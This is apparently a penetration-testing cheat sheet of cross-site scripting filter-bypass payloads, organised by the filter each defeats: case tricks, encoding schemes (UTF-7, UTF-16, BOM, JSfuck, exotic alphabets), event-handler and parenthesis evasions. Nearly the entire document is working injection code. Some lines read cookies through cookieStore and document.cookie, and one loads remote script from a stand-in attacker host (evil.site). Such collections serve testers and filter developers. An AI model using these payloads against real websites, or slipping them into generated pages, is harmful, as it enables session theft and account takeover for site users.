XSS Filter Bypass

Summary

Bypass Case Sensitive
Bypass Tag Blacklist
Bypass Word Blacklist with Code Evaluation
Bypass with Incomplete HTML Tag
Bypass Quotes for String
Bypass Quotes in Script Tag
Bypass Quotes in Mousedown Event
Bypass Dot Filter
Bypass Parenthesis for String
Bypass Parenthesis and Semi Colon
Bypass onxxxx= Blacklist
Bypass Space Filter
Bypass Email Filter
Bypass Tel URI Filter
Bypass document Blacklist
Bypass document.cookie Blacklist
Bypass using Javascript Inside a String
Bypass using an Alternate Way to Redirect
Bypass using an Alternate Way to Execute an Alert
Bypass ">" using Nothing
Bypass "<" and ">" using ＜ and ＞
Bypass ";" using Another Character
Bypass using Missing Charset Header
Bypass using HTML encoding
Bypass using Katakana
Bypass using Cuneiform
Bypass using Lontara
Bypass using ECMAScript6
Bypass using Octal encoding
Bypass using Unicode
Bypass using UTF-7
Bypass using UTF-8
Bypass using UTF-16be
Bypass using UTF-32
Bypass using BOM
Bypass using JSfuck
References

Bypass Case Sensitive

To bypass a case-sensitive XSS filter, you can try mixing uppercase and lowercase letters within the tags or function names.

<sCrIpt>alert(1)</ScRipt>
<ScrIPt>alert(1)</ScRipT>

Since many XSS filters only recognize exact lowercase or uppercase patterns, this can sometimes evade detection by tricking simple case-sensitive filters.

Bypass Tag Blacklist

<script x>
<script x>alert('XSS')<script y>

Bypass Word Blacklist with Code Evaluation

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

Bypass with Incomplete HTML Tag

Works on IE/Firefox/Chrome/Safari

<img src='1' onerror='alert(0)' <

Bypass Quotes for String

String.fromCharCode(88,83,83)

Bypass Quotes in Script Tag

http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>

Bypass Quotes in Mousedown Event

You can bypass a single quote with ' in an on mousedown event handler

<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

Bypass Dot Filter

<script>window['alert'](document['domain'])</script>

Convert IP address into decimal format: IE. http://192.168.1.1 == http://3232235777 http://www.geektools.com/cgi-bin/ipconv.cgi

<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>

Base64 encoding your XSS payload with Linux command: IE. echo -n "alert(document.cookie)" | base64 == YWxlcnQoZG9jdW1lbnQuY29va2llKQ==

Bypass Parenthesis for String

alert`1`
setTimeout`alert\u0028document.domain\u0029`;

Bypass Parenthesis and Semi Colon

From @garethheyes

<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

From @terjanq

<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

From @cgvwzq

<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

Bypass onxxxx Blacklist

Use less known tag

<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

Bypass onxxx= filter with a null byte/vertical tab/Carriage Return/Line Feed

<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
<img src='1' onerror\x0d=alert(0) />
<img src='1' onerror\x0a=alert(0) />

Bypass onxxx= filter with a '/'
```
<img src='1' onerror/=alert(0) />
```

Bypass Space Filter

Bypass space filter with "/"
```
<img/src='1'/onerror=alert(0)>
```
Bypass space filter with 0x0c/^L or 0x0d/^M or 0x0a/^J or 0x09/^I
```
<svgonload=alert(1)>
```

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.

Bypass Email Filter

RFC0822 compliant
```
"><svg/onload=confirm(1)>"@x.y
```

RFC5322 compliant

xss@example.com(<img src='x' onerror='alert(document.location)'>)

Bypass Tel URI Filter

At least 2 RFC mention the ;phone-context= descriptor:

+330011223344;phone-context=<script>alert(0)</script>

Bypass Document Blacklist

<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]

Bypass document.cookie Blacklist

This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.

window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});

Bypass using Javascript Inside a String

<script>
foo="text </script><script>alert(1)</script>";
</script>

Bypass using an Alternate Way to Redirect

location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"

Bypass using an Alternate Way to Execute an Alert

From @brutelogic tweet.

window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);

From @theMiddle - Using global variables

The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.

c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5

Then calling alert is :

Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")

We can find "alert" with a regular expression like ^a[rel]+t$ :

//bind function alert on new function a()
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} 

// then you can use a() with Object.keys
self[Object.keys(self)[a()]]("1") // alert("1")

Oneliner:

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")

From @quanyang tweet.

prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'

From @404death tweet.

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

Bypass using an alternate way to trigger an alert

var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);

Bypass ">" using Nothing

There is no need to close the tags, the browser will try to fix it.

<svg onload=alert(1)//

Bypass "<" and ">" using ＜ and ＞

Use Unicode characters U+FF1C and U+FF1E, refer to Bypass using Unicode for more.

＜script/src=//evil.site/poc.js＞

Bypass ";" using Another Character

'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';

Bypass using Missing Charset Header

Requirements:

Server header missing charset: Content-Type: text/html

ISO-2022-JP

ISO-2022-JP uses escape characters to switch between several character sets.

Escape	Encoding
`\x1B (B`	ASCII
`\x1B (J`	JIS X 0201 1976
`\x1B $@`	JIS X 0208 1978
`\x1B $B`	JIS X 0208 1983

Using the code table, we can find multiple characters that will be transformed when switching from ASCII to JIS X 0201 1976.

Hex	ASCII	JIS X 0201 1976
0x5c	`\`	`¥`
0x7e	`~`	`‾`

Example

Use %1b(J to force convert a \' (ascii) in to ¥' (JIS X 0201 1976), unescaping the quote.

Payload: search=%1b(J&lang=en";alert(1)//

Bypass using HTML Encoding

%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

Bypass using Katakana

Using the aemkei/Katakana library.

javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

Bypass using Cuneiform

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

Bypass using Lontara

ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()

More alphabets on http://aem1k.com/aurebesh.js/#

Bypass using ECMAScript6

<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>

Bypass using Octal encoding

javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'

Bypass using Unicode

This payload takes advantage of Unicode escape sequences to obscure the JavaScript function

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

It uses Unicode escape sequences to represent characters.

Unicode	ASCII
`\u0061`	a
`\u006C`	l
`\u0065`	e
`\u0072`	r
`\u0074`	t

Same thing with these Unicode characters.

Unicode (UTF-8 encoded)	Unicode Name	ASCII	ASCII Name
`\uFF1C` (%EF%BC%9C)	FULLWIDTH LESSTHAN SIGN	<	LESSTHAN
`\uFF1E` (%EF%BC%9E)	FULLWIDTH GREATERTHAN SIGN	>	GREATERTHAN
`\u02BA` (%CA%BA)	MODIFIER LETTER DOUBLE PRIME	"	QUOTATION MARK
`\u02B9` (%CA%B9)	MODIFIER LETTER PRIME	'	APOSTROPHE

An example payload could be ʺ＞＜svg onload=alert(/XSS/)＞/, which would look like that after being URL encoded:

%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/

When Unicode characters are converted to another case, they might bypass a filter look for specific keywords.

Unicode	Transform	Character
`İ` (%c4%b0)	`toLowerCase()`	i
`ı` (%c4%b1)	`toUpperCase()`	I
`ſ` (%c5%bf)	`toUpperCase()`	S
`K` (%E2%84)	`toLowerCase()`	k

The following payloads become valid HTML tags after being converted.

<ſvg onload=... >
<ıframe id=x onload=>

Bypass using UTF-7

+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

Bypass using UTF-8

< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9

Bypass using UTF-16be

%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>

Bypass using UTF-32

%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

Bypass using BOM

Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page

BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

Bypass using JSfuck

Bypass using jsfuck

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

References

Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities - Brett Buerhaus (@bbuerhaus) - March 8, 2017